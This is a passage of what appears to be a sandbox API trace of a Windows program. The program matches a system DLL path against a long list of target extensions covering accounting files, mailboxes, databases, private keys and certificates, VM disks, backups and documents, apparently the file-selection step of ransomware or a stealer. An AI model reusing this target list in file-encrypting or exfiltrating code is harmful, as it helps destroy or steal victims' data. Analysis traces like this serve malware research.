(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qbw") returned 0 [0099.495] lstrlenA (lpString="*.qbw") returned 5 [0099.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qbb") returned 0 [0099.495] lstrlenA (lpString="*.qbb") returned 5 [0099.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qbm") returned 0 [0099.496] lstrlenA (lpString="*.qbm") returned 5 [0099.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qbo") returned 0 [0099.496] lstrlenA (lpString="*.qbo") returned 5 [0099.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qbx") returned 0 [0099.496] lstrlenA (lpString="*.qbx") returned 5 [0099.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qba") returned 0 [0099.496] lstrlenA (lpString="*.qba") returned 5 [0099.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qby") returned 0 [0099.496] lstrlenA (lpString="*.qby") returned 5 [0099.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qbj") returned 0 [0099.496] lstrlenA (lpString="*.qbj") returned 5 [0099.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.ofx") returned 0 [0099.496] lstrlenA (lpString="*.ofx") returned 5 [0099.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.qif") returned 0 [0099.497] lstrlenA (lpString="*.qif") returned 5 [0099.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.mye") returned 0 [0099.497] lstrlenA (lpString="*.mye") returned 5 [0099.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.mbox") returned 0 [0099.497] lstrlenA (lpString="*.mbox") returned 6 [0099.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.eml") returned 0 [0099.497] lstrlenA (lpString="*.eml") returned 5 [0099.497] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.pst") returned 0 [0099.501] lstrlenA (lpString="*.pst") returned 5 [0099.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.ost") returned 0 [0099.501] lstrlenA (lpString="*.ost") returned 5 [0099.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.idx") returned 0 [0099.501] lstrlenA (lpString="*.idx") returned 5 [0099.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.dbx") returned 0 [0099.501] lstrlenA (lpString="*.dbx") returned 5 [0099.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.sql") returned 0 [0099.501] lstrlenA (lpString="*.sql") returned 5 [0099.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.mdb") returned 0 [0099.501] lstrlenA (lpString="*.mdb") returned 5 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.fdb") returned 0 [0099.502] lstrlenA (lpString="*.fdb") returned 5 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.wab") returned 0 [0099.502] lstrlenA (lpString="*.wab") returned 5 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.dat") returned 0 [0099.502] lstrlenA (lpString="*.dat") returned 5 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.txt") returned 0 [0099.502] lstrlenA (lpString="*.txt") returned 5 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.jpeg") returned 0 [0099.502] lstrlenA (lpString="*.jpeg") returned 6 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.jpg") returned 0 [0099.502] lstrlenA (lpString="*.jpg") returned 5 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.png") returned 0 [0099.502] lstrlenA (lpString="*.png") returned 5 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.php") returned 0 [0099.502] lstrlenA (lpString="*.php") returned 5 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.cs") returned 0 [0099.502] lstrlenA (lpString="*.cs") returned 4 [0099.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.cpp") returned 0 [0099.503] lstrlenA (lpString="*.cpp") returned 5 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.rar") returned 0 [0099.503] lstrlenA (lpString="*.rar") returned 5 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.zip") returned 0 [0099.503] lstrlenA (lpString="*.zip") returned 5 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.html") returned 0 [0099.503] lstrlenA (lpString="*.html") returned 6 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.htm") returned 0 [0099.503] lstrlenA (lpString="*.htm") returned 5 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.xlsx") returned 0 [0099.503] lstrlenA (lpString="*.xlsx") returned 6 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.xls") returned 0 [0099.503] lstrlenA (lpString="*.xls") returned 5 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.mp4") returned 0 [0099.503] lstrlenA (lpString="*.mp4") returned 5 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.ppt") returned 0 [0099.503] lstrlenA (lpString="*.ppt") returned 5 [0099.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.pptx") returned 0 [0099.504] lstrlenA (lpString="*.pptx") returned 6 [0099.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.doc") returned 0 [0099.504] lstrlenA (lpString="*.doc") returned 5 [0099.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.dot") returned 0 [0099.504] lstrlenA (lpString="*.dot") returned 5 [0099.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.docx") returned 0 [0099.504] lstrlenA (lpString="*.docx") returned 6 [0099.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.7z") returned 0 [0099.504] lstrlenA (lpString="*.7z") returned 4 [0099.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.tar") returned 0 [0099.504] lstrlenA (lpString="*.tar") returned 5 [0099.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.bz2") returned 0 [0099.504] lstrlenA (lpString="*.bz2") returned 5 [0099.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.gz") returned 0 [0099.504] lstrlenA (lpString="*.gz") returned 4 [0099.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.mkv") returned 0 [0099.504] lstrlenA (lpString="*.mkv") returned 5 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.eml") returned 0 [0099.505] lstrlenA (lpString="*.eml") returned 5 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.msg") returned 0 [0099.505] lstrlenA (lpString="*.msg") returned 5 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.edb") returned 0 [0099.505] lstrlenA (lpString="*.edb") returned 5 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.accdb") returned 0 [0099.505] lstrlenA (lpString="*.accdb") returned 7 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.odb") returned 0 [0099.505] lstrlenA (lpString="*.odb") returned 5 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.java") returned 0 [0099.505] lstrlenA (lpString="*.java") returned 6 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.asm") returned 0 [0099.505] lstrlenA (lpString="*.asm") returned 5 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.pfx") returned 0 [0099.505] lstrlenA (lpString="*.pfx") returned 5 [0099.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.pem") returned 0 [0099.506] lstrlenA (lpString="*.pem") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.p12") returned 0 [0099.506] lstrlenA (lpString="*.p12") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.gpg") returned 0 [0099.506] lstrlenA (lpString="*.gpg") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.vsd") returned 0 [0099.506] lstrlenA (lpString="*.vsd") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.odg") returned 0 [0099.506] lstrlenA (lpString="*.odg") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.raw") returned 0 [0099.506] lstrlenA (lpString="*.raw") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.nef") returned 0 [0099.506] lstrlenA (lpString="*.nef") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.svg") returned 0 [0099.506] lstrlenA (lpString="*.svg") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.psd") returned 0 [0099.506] lstrlenA (lpString="*.psd") returned 5 [0099.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.vmx") returned 0 [0099.507] lstrlenA (lpString="*.vmx") returned 5 [0099.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.vmdk") returned 0 [0099.507] lstrlenA (lpString="*.vmdk") returned 6 [0099.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.vdi") returned 0 [0099.507] lstrlenA (lpString="*.vdi") returned 5 [0099.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.lay6") returned 0 [0099.507] lstrlenA (lpString="*.lay6") returned 6 [0099.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.mpeg") returned 0 [0099.507] lstrlenA (lpString="*.mpeg") returned 6 [0099.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.djvu") returned 0 [0099.507] lstrlenA (lpString="*.djvu") returned 6 [0099.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.tiff") returned 0 [0099.507] lstrlenA (lpString="*.tiff") returned 6 [0099.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.backup") returned 0 [0099.507] lstrlenA (lpString="*.backup") returned 8 [0099.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.pdf") returned 0 [0099.507] lstrlenA (lpString="*.pdf") returned 5 [0099.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.cert") returned 0 [0099.508] lstrlenA (lpString="*.cert") returned 6 [0099.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.docm") returned 0 [0099.508] lstrlenA (lpString="*.docm") returned 6 [0099.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.xlsm") returned 0 [0099.508] lstrlenA (lpString="*.xlsm") returned 6 [0099.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.dwg") returned 0 [0099.508] lstrlenA (lpString="*.dwg") returned 5 [0099.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.nd") returned 0 [0099.508] lstrlenA (lpString="*.nd") returned 4 [0099.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.tlg") returned 0 [0099.508] lstrlenA (lpString="*.tlg") returned 5 [0099.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.lgb") returned 0 [0099.508] lstrlenA (lpString="*.lgb") returned 5 [0099.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.mov") returned 0 [0099.508] lstrlenA (lpString="*.mov") returned 5 [0099.508] PathMatchSpecA 